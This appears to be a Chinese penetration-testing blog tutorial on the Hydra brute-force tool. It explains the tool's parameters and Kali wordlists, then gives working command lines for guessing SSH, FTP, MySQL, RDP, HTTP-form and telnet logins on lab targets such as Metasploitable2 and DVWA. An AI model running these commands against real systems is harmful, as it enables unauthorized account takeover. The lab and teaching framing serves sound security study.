Hydra 九头蛇全攻略!从参数解析到 SSH/FTP/MySQL 爆破的 5 大场景实战
0x01 Hydra简介Hydra(九头蛇)是一款由 THC 组织开发的开源暴力破解工具,广泛用于渗透测试中,可对多种网络服务的登录凭证进行爆破测试。
Hydra 是一款支持多协议、多线程的在线密码破解工具,常用于安全测试和渗透测试。它通过字典攻击或暴力枚举的方式,尝试破解目标系统的用户名和密码组合。
Hydra 支持的服务协议非常广泛,包括但不限于:
SSH、FTP、TelnetHTTP/HTTPS 表单登录MySQL、PostgreSQL、MSSQLSMB、VNC、LDAP、POP3、IMAP 等。0x02 Hydra的特点多协议支持:几乎涵盖所有常见的网络服务协议。多线程快速破解:支持并行任务,默认16线程,可通过 -t 参数调整。灵活的字典支持:支持自定义用户名和密码字典,也支持组合格式(user:password)。跨平台运行:支持 Linux、Windows 和 macOS,Kali Linux 中默认已安装。命令行与图形界面:除了命令行版本,还有图形界面工具 xhydra0x03 Hydra常用参数列表参数
说明
-l
指定单个用户名
-p
指定单个密码
-L
指定用户名字典文件
-P
指定密码字典文件
-C
指定“用户名:密码”格式的字典文件
-e
额外尝试:n(空密码)、s(用户名作为密码)、r(用户名倒序)
-vV
显示详细执行过程
-o
保存破解结果到文件
-t
设置并发线程数(默认16)
-s
指定非默认端口
-M
指定多个目标主机文件
代码语言:javascript复制示例命令:hydra -L users.txt -P pass.txt -t 6 ssh://192.168.1.1000X04 基于各场景下的Hydra密码爆破应用这里我们讲一下字典事项,我是使用的基于Kali Linux中自带的Hydra,kali中配备了默认的各种字典,可以通过/usr/share/wordlists/dirb路径进行查看,当然都是txt文件,也可以自己向里面添加
文件名
介绍
big.txt
大的字典
small.txt
小的字典
catala.txt
项目配置字典
common.txt
公共字典
euskera.txt
数据目录字典
extensions_common.txt
常用文件扩展名字典
indexes.txt
首页字典
mutations_common.txt
备份扩展名
spanish.txt
方法名或库目录
others
扩展目录,默认用户名、默认密码等
stress
压力测试
vulns
漏洞测试
1)SSH服务协议爆破攻击机 Kali Linux
靶机 Metasploitable2-Linux
192.168.247.149
192.168.247.162
场景一:当我们不知道靶机账号与密码的时候进行爆破SSH服务的账户与密码这里我是用我指定的账号密码文件进行破解,如果像我一样自己创建账号密码进行破解,那么你在那个目录下创建的就需要在那个目录下操作,否则就需要加上绝对路径,并且我这里设置的线程很少,如果你感觉慢,那么可以使用多一点的线程来跑字典。
构造命令:
代码语言:javascript复制hydra -L username.txt -P password.txt -t 10 -vV -e ns 192.168.247.162 ssh场景二:知道用户名但不知道密码的情况下代码语言:javascript复制hydra -l root -P password.txt -t 10 -vV -e ns 192.168.247.162 ssh2)FTP服务协议爆破场景一:当我们不知道靶机账号与密码的时候进行爆破FTP服务的账户与密码代码语言:javascript复制hydra -L username.txt -P password.txt -t 10 -vV -e ns 192.168.247.162 ftp场景二:知道用户名但不知道密码的情况下这里其实和上面的SSH一样的换汤不换药,那么这里我就直接放命令了。
代码语言:javascript复制hydra -l msfadmin -P password.txt -t 10 -vV -e ns 192.168.247.162 ftp3)MySQL数据库服务爆破那么MySQL数据库一般用户名都为root,我们这里就基于默认用户名为root进行爆破。
代码语言:javascript复制hydra -l root -P password.txt -t 10 -vV -e ns 192.168.247.162 mysql这里只显示root用户名的原因是 这是空密码。
4)Windows远程桌面服务爆破RDP
那么我们换一台Windows7并且已经开启了远程桌面服务的靶机来进行实验。
代码语言:javascript复制hydra -L username.txt -P password.txt -t 10 -vV -e ns 192.168.247.131 rdp4)Web服务HTTP协议爆破这里我们使用dvwa靶场的登录页面来进行实验
POST方式代码语言:javascript复制hydra -l admin -P password.txt -t 6 -vV -e ns 192.168.247.162 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&submit=login:username or password is nois not exists~"解释:后面的http-post-form是定义在http中使用post进行提交,后面的/pikachu/vul/burteforce/bf_form.php是访问的URL,而且后面的username与password是根据抓包获取到的格式,至于里面的USER和PASS是固定格式,再后面的login是报错信息。
GET方式其实get和post的命令差不多
代码语言:javascript复制hydra -l admin -P password.txt -t 6 -vV -e ns 192.168.247.162 http-get /dvwa/login.php5)telnet远程登录服务爆破telnet和ssh及ftp协议爆破的命令大同小异。
场景一:当我们不知道靶机账号与密码的时候进行爆破telnet服务的账户与密码代码语言:javascript复制hydra -L username.txt -P password.txt -t 10 -vV -e ns 192.168.247.162 telnet场景二:知道用户名但不知道密码的情况下0X05 总结对于某些协议和服务,Hydra可能需要使用不同的选项和模块才能正常工作。请查看Hydra文档以获取更多详细信息。
在使用Hydra进行暴力破解时,请务必遵守法律和道德规范。未经授权的暴力破解是非法的,并可能导致严重的法律后果。
在使用Hydra进行暴力破解时,请确保你有所有必要的权限和授权。未经授权的暴力破解可能违反你所在国家或地区的法律。
在使用Hydra进行暴力破解时,请确保你已经尝试了其他方法(例如猜测和社会工程学攻击),并确认暴力破解是唯一可行的解决方案。
🤵♂️ 个人主页:@旺仔Sec的博客主页
WeChat公众号:鹏璃安全
✍🏻博主身份:网络安全兼技能大赛学习者
🐋 希望大家多多支持,我们一起进步!😄
如果文章对你有帮助的话, 欢迎评论 💬点赞👍🏻 收藏 📂加关注